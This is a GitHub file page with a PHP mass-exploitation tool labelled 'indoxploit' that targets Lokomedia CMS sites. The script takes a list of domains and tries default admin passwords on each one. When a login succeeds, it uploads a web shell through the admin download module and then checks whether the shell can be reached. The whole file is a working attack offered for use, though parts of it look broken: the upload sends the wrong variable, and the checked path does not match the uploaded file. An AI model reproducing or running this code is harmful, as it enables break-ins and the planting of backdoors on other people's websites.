forked from jgor/php-jpeg-shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
tebas
66 lines (66 loc) · 2.59 KB
/
tebas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
// indoxploit
function cek($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
function curl($url,$payload) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
echo "<center>
<h1>Lokomedia Auto Tanem Shell</h1>
<form method='post'>
Domain: <br>
<textarea placeholder='http://www.target.com/' name='url' style='width: 500px; height: 250px;'></textarea><br>
<input type='submit' name='hajar' value='Xploit!'>
</form>";
if($_POST['hajar']) {
$domain = explode("\r\n", $_POST['url']);
$up = array(
"admin" => "admin",
"admin" => "123456",
"indoxploit" => "indoxploit",
);
foreach($domain as $url) {
foreach($up as $user => $pass) {
$data1 = array(
"username" => $user,
"password" => $pass,
);
$login = curl($url."/adminweb/cek_login.php", $data1);
if(preg_match("/Logout|Administrator/", $login)) {
$file = "shellmu.php"; //1 dir dengan exploiternyaa
$data2 = array(
"judul" => "indoxploit auto exploiter lokomedia",
"fupload" => "@$file",
"upload" => " Simpan ",
);
$ngirim = curl($url."/adminweb/modul/mod_download/aksi_download.php?module=download&act=input",$data);
if(preg_match("/indoxploit auto exploiter lokomedia/i", $ngirim)) {
echo "[+] $url -> <font color=green>sukses login [ user: $user pass: $pass ]</font><br>";
$cek = cek("$url/files/image.php");
if(preg_match("/indoXploit/", $cek)) {
echo "[+] $url/files/image.php -> <font color=green>shelmu.</font><br><br>";
} else {
echo "[-] <font color='#bb0000'>shellmu gaada.</font><br><br>";
}
}
} else {
echo "[-] $url -> gagal login<br><br>";
}
}
}
}